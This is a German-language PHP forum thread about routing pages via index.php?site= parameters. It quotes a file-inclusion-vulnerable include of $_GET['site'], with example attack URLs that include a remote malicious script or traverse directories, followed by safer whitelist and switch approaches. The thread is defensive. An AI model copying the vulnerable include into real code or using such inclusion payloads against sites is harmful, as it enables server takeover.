Hab ne Frage zum Grundprinzip meiner Site

  • Hi Leudz,


    ich hab jetzt endlich wieder Zeit gefunden, um an meiner Seite weiter zu coden.
    Anfangs hab ich mir dass alles so gedacht:


    Ich arbeite mit Smarty (und habe das Prinzip einer Template Engine verstanden! :D ).


    Für die verschiedenen Bereiche meiner Seite, z.B: Bereich1, Bereich2, ..., wollte ich immer ne bereich1.php, bereich2.php, ..., erstellen.


    Jetzt ist mir aufgefallen, dass z.B. wie auf dieser Webseite www.6fjr-flugplatz.de der Coder immer nur ne index2.php und von da aus immer der jeweilige content aufgerufen wird. z.B:


    - "http://www.6fjr-flugplatz.de/index2.php?site=news" für die News Seite
    - "http://www.6fjr-flugplatz.de/index2.php?site=memberanz" für die Member Seite
    - ...


    Ich habe jetzt schon in der Suche versucht was zu finden, aber hab vermutlich die falschen Suchbegriffe benutzt.
    Und hab selber versucht das irgendwie hinzubekommen, aber zwecklos ich komm einfach nicht dahinter, da ich noch ein relativer Neuling in Sachen php bin.


    Vielen Dank schonmal im Vorraus für eure Hilfe


    MfG VoltFreeze


    EDIT:


    Ich hab auf jeder Seite für den Content immer ne *.tpl vll erleichtert das ja das Ganze. Ich muss also immer nur meine index.php mit ner anderen "content.tpl" laden lassen, oder? Wenn ja, dann weiß ich auch nicht wie ich das umsetze. :D

    Vertraue niemals einem PC, den du nicht aus dem Fenster schmeißen kannst. :D

  • Du wirfst da 2 Sachen durcheinander.


    Wie der Link aussieht hat erstmal nichts mit dem Template zu tun..


    diese Links
    www.doof.de/index.php?site=start
    werden in der index.php nochmals ausgewertet.
    also so in der Art.

    PHP
    1. if ($_GET['site'] == 'site'){
    2. mach was
    3. $smarty->display("site.tpl");}


    oder so

    PHP
    1. if (isset($_GET['site']) && $_GET['site'] != '') include "".$_GET['site'].".inc";


    Wie auch immer du das machst, ist egal.
    Im Endeffekt kommt das gleiche bei raus.
    Ob du in jeder datei das Menü includest oder auf die Menüseite immer den entsprechenden Content..


    Ich persönlich finde die Variante, die du bisher betreibst besser, da sie optisch schöner ist, und auch ohne modrewrite schön ist ;)

    "Man muss die Welt nicht verstehen, man muss sich nur darin zurechtfinden."
    Einstein

  • ok! lol so einfach war das noch nie! Dann mach ich das mal so weiter wie bisher´, ich hab mir halt gedacht dass es aus Performancegründen besser wäre.

    Vertraue niemals einem PC, den du nicht aus dem Fenster schmeißen kannst. :D

  • PHP
    1. if (isset($_GET['site']) && $_GET['site'] != '') include "".$_GET['site'].".inc"


    den Code würd' ich nicht verwenden, denn er ist tödlich => bietet potenziellen Angreifern (keine Profis, dass kann jeder 12 jährige), die Möglichkeit, eigene skripte zu includieren und somit sprich deinen ganzen Webspace zu killen.

    Zwei Dinge sind Unbestreitbar:

    • In einem Land, in dem Amerika Krieg führt, herrscht nachher Demokratie.

    • Die Erde ist eine Scheibe!

    Aktuelle Abendlektüre: Stephen King, Peter Strauch: Das schwarze Haus (Black House, 2001)
    Aktuelle Bewertung: Abgesehen davon, dass der Roman mal wieder demonstriert, dass der Author geistesgestört ist, sehr träge; wenig Spannung; schlechter Erzählstil. King halt^^!

  • Zitat von Dennis The Menace
    PHP
    1. if (isset($_GET['site']) && $_GET['site'] != '') include "".$_GET['site'].".inc"



    den Code würd' ich nicht verwenden, denn er ist tödlich => bietet potenziellen Angreifern (keine Profis, dass kann jeder 12 jährige), die Möglichkeit, eigene skripte zu includieren und somit sprich deinen ganzen Webspace zu killen.


    Kannst Du das näher erläutern? Was würdest Du alternativ verwenden?

    Wolfgang


  • Der potenzielle Angreifer hat die Möglichkeit, so eigene Skripte zu inkludieren, in dem er die site Varriable anpasst.


    [Originallink] http://deineDomain.de/index.php?site=test
    [Böserlink] http://deineDomain.de/index.ph…indersite.de/boesesSkript


    So includiert dein Server dummerweise das Skript auf http://kindersite.de/boesesSkript.inc


    Damit gibst du deinem Angreifer die volle Kontrolle über deinem Server. Er kann von der boesesSkript.inc Datei wahllos Dateien löschen/ändern, in .htaccess versteckte Ordner reinkommen, je nach Sicherheitsstufe des Servers gefährlichtief listen.


    Einem anderem sehr großen Forum ist es passiert, dass der Angreifer sich über diese Methode phpmyadmin hat hochgeladen und hatte somit wahlfreien Zugriff auf die komplette MySQL Datenbank.


    Was kann man dagegen tun. Es gibt Möglichkeiten, sicher dynamisch zu includieren.



    Daher ist der sicherste Weg, gar nicht erst dynamisch zu inkludieren.

    Zwei Dinge sind Unbestreitbar:

    • In einem Land, in dem Amerika Krieg führt, herrscht nachher Demokratie.

    • Die Erde ist eine Scheibe!

    Aktuelle Abendlektüre: Stephen King, Peter Strauch: Das schwarze Haus (Black House, 2001)
    Aktuelle Bewertung: Abgesehen davon, dass der Roman mal wieder demonstriert, dass der Author geistesgestört ist, sehr träge; wenig Spannung; schlechter Erzählstil. King halt^^!

  • Wäre das hier sicherer?

    PHP
    1. //Array mit den erlaubten Werten
    2. $erlaubt= array("P1","P2","P3");
    3. //Testen, ob überhaupt was übergeben wurde
    4. //und wenn ja, ob es zu den erlaubten Werten gehört
    5. if (isset($_GET['Seite']) && (in_array($_GET['Seite'],$erlaubt)))
    6. //abspeichern in Variable, mit der man weiterarbeiten kann
    7. $Seite = $_GET['Seite'];
    8. //wenn's nicht im Array war, wird der Standard gesetzt
    9. else
    10. $Seite = "P1";



    Erscheint mir ähnlich sicher, wie die "case"-Abfrage. Man muss aber weniger tippen. Wobei das natürlich bei großen Seiten trotzdem unübersichtlich wird, ähnlich wie beim "case".

    Noch sicherer wäre wohl die Verwendung von "array_search", weil man dann garantiert einen Wert aus dem eigenen Array in die Variable schreibt. Also etwa so:



    Damit sollte eigentlich den Script-Kiddies der Spaß verdorben sein. Oder?

    Wolfgang


  • Zitat

    Damit sollte eigentlich den Script-Kiddies der Spaß verdorben sein. Oder?


    Jopp.


    Wobei es; jetzt meine rein subjektive Meinung; unschön programmiert wäre.
    Bei einer Switch Abfrage hast du z.b. die Möglichkeit, sowohl bei ?site=god_Bless_germany als auch bei ?site=i_love_jesus die Seite trallala.php zu includieren. Was - wenn man selbiges mit der array Methode machen möchte, zu weiteren, unschönen if-abfragen ausarten würde.


    Die Switch-Funktion ist nun mal genau für sowas gedacht; zur liebe sämtlicher Programmierer auf dieser Welt (es gibt programmiersprachen, die keine arrays im eigentlichen sinne kennen), sollte man also switch verwenden ;) Man will ja schließlich, dass ein Skript einfach zu verstehen und auch für eine fremde Person leicht einzusehen ist.


    [off topic]
    Das ist doch nicht etwa ein Borussia Mönchengladbach Logo in deinem Avatarbild, oder? Schande ;)
    [/off topic]

    Zwei Dinge sind Unbestreitbar:

    • In einem Land, in dem Amerika Krieg führt, herrscht nachher Demokratie.

    • Die Erde ist eine Scheibe!

    Aktuelle Abendlektüre: Stephen King, Peter Strauch: Das schwarze Haus (Black House, 2001)
    Aktuelle Bewertung: Abgesehen davon, dass der Roman mal wieder demonstriert, dass der Author geistesgestört ist, sehr träge; wenig Spannung; schlechter Erzählstil. King halt^^!

  • Eine Möglichkeit sicher zu inkludieren wäre auch die Funktion file_exists() zu verwenden, oder?!.


    zb.

    PHP
    1. $file = $_GET[site].".php";
    2. file_exists($file) ? include($file) : include("home.php");


    Zitat


    PHP-Manual schreibt:
    Diese Funktion kann nicht mit entfernten Dateien arbeiten, da der Zugriff auf die Datei, die bearbeitet werden soll, über das Dateisystem des Servers möglich sein muss.

  • Zitat von Dennis The Menace

    [off topic]
    Das ist doch nicht etwa ein Borussia Mönchengladbach Logo in deinem Avatarbild, oder? Schande ;)
    [/off topic]

    Mein lieber Dennis the Mennace,

    danke für Deine Ausführungen bzgl. PHP, aber ich komme lieber gleich zum Kern dieses Themas. Es freut mich ungemein, dass Dir das Logo des besten Fußballvereins der Welt zusagt. Deshalb zur näheren Erklärung:
    Natürlich ist das DIE RAUTE! Und SCHANDE?
    Ich GLAUB ES HACKT!!!

    Bist Du etwa Kölner oder Bayer oder ... ?


    So ... wo war ich ... wo is mein Stuhl ... ach da draussen ... *Glaser anrufen* ... ähäm ... *flööt*

    steff! Altes Haus! :D

    Gute Idee mit "file_exists". Sieht echt gut aus, es sei denn Du hättest auch ein Problem mit meinem geballten Fußballsachverstand, denn dann müsste ich auch Dein Konstrukt aus fußballfundamentalistischen Gründen ablehnen, weil dem Dennis seine Case-Abfrage tu ich nämlich niiiieeemals benutzen, weil der is nämlich Kölner oder Bayer oder ... ;)

    Wolfgang


  • PHP
    1. <?php
    2. echo file_Exists('http://www.innergeek.us/geek_definition.html')
    3. ? "Sicher"
    4. : "Unsicher";
    5. ?>


    Das kann ja jeder für sich testen ;)
    Aber, darum geht es nicht mal.


    Der Durchschnittliche Webmaster teilt sich den Server
    mit 100/1000 anderen Benutzern.


    Wenn du als Angreifer auf dem gleichen Server bist, kannst
    du aus dem Webspace deines Opfers rausnavigieren und zu deinem
    Ordner rein.


    bsp index.php?site=../../../kinderhacker.de/html/boesesSkript


    Das hat zwar mittlerweile jeder Serveradministrator gerallt, dass das
    ein Sicherheitsrisiko ist und hat das daher unterbunden, doch - als diese
    'Sicherheitslücke' das Elfnet erreicht hat, war das bei 90% aller ISPs nicht
    so.


    Dummerweise sollte man, nur weil das Auto nun eine Wegfahrsperre hat, nicht damit anfangen, es nicht mehr abzuschließen.


    Außerdem funktioniert file_Exists auch für Rechner im Netzwerk.


    bsp index.php?site=//kindersite/$C/.../boesesSkript


    Was für die Mehrheit aller Menschen kein Sicherheitsrisiko darstellt, jedoch
    dadurch weiterhin eins bleibt :)


    Also voher gaaaanz genau überlegen!


    wolfgang  :)

    Zwei Dinge sind Unbestreitbar:

    • In einem Land, in dem Amerika Krieg führt, herrscht nachher Demokratie.

    • Die Erde ist eine Scheibe!

    Aktuelle Abendlektüre: Stephen King, Peter Strauch: Das schwarze Haus (Black House, 2001)
    Aktuelle Bewertung: Abgesehen davon, dass der Roman mal wieder demonstriert, dass der Author geistesgestört ist, sehr träge; wenig Spannung; schlechter Erzählstil. King halt^^!

  • So, jetzt aber wieder ernsthaft:

    Die file_exists-Variante scheitert bei mir, weil der Parser hier nur im aktuellen Ordner sucht und nicht in der gesamten Struktur. D.h, benutzt man Unterordner scheidet das eigentlich aus. Schade.

    Werd' wohl Switch nehmen. ;)

    Wolfgang